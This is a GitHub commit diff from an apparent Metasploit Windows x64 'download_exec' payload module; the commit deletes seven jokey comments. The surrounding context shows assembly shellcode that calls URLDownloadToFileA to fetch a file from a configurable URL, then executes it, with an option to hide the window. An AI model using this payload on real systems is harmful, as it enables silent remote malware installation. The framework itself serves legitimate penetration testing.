Skip to content

Commit 708dcaf

Browse files
authored
Delete unnecessary comments
1 parent 90d15cb commit 708dcaf

File tree

1 file changed

+0
-7
lines changed

1 file changed

+0
-7
lines changed

modules/payloads/singles/windows/x64/download_exec.rb

Lines changed: 0 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -49,7 +49,6 @@ def generate(_opts = {})
4949
pop rbp
5050
call LoadLibrary
5151
db "urlmon.dllK"
52-
; V, is this the land of do-as-you-please?
5352
5453
LoadLibrary:
5554
pop rcx ; rcx points to the dll name.
@@ -61,14 +60,12 @@ def generate(_opts = {})
6160
SetUrl:
6261
call SetFile
6362
db "#{url}A"
64-
; The Sound of Silence maybe a Careless Whisper?
6563
6664
SetFile:
6765
pop rdx ; 2nd argument
6866
xor byte [rdx+#{url.length}], 'A' ; null terminator
6967
call UrlDownloadToFile
7068
db "#{file}C"
71-
; Never compromise not even in the face of armageddon.
7269
7370
UrlDownloadToFile:
7471
pop r8 ; 3rd argument
@@ -79,7 +76,6 @@ def generate(_opts = {})
7976
push rcx ; 5th argument
8077
mov r10d, #{Rex::Text.block_api_hash('urlmon.dll', 'URLDownloadToFileA')}
8178
call rbp
82-
; I can see the sun, but even if I cannot see the sun, I know that it exists. And to know that the sun is there - that is living.
8379
8480
SetCommand:
8581
call Exec
@@ -95,15 +91,13 @@ def generate(_opts = {})
9591
if display == 'HIDE'
9692
hide = %(
9793
call rbp
98-
; I am vengeance! I am the night! I am Batman!
9994
)
10095
payload << hide
10196

10297
elsif display == 'SHOW'
10398
show = %(
10499
inc rdx ; SW_NORMAL = 1
105100
call rbp
106-
; It's our only home. Our heaven and our hell. This is Outer Heaven.
107101
)
108102
payload << show
109103
end
@@ -121,7 +115,6 @@ def generate(_opts = {})
121115
xor rcx,rcx
122116
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitThread')}
123117
call rbp
124-
; She walks in beauty, like the night...
125118
)
126119
payload << exit_asm
127120
end

0 commit comments

Comments
 (0)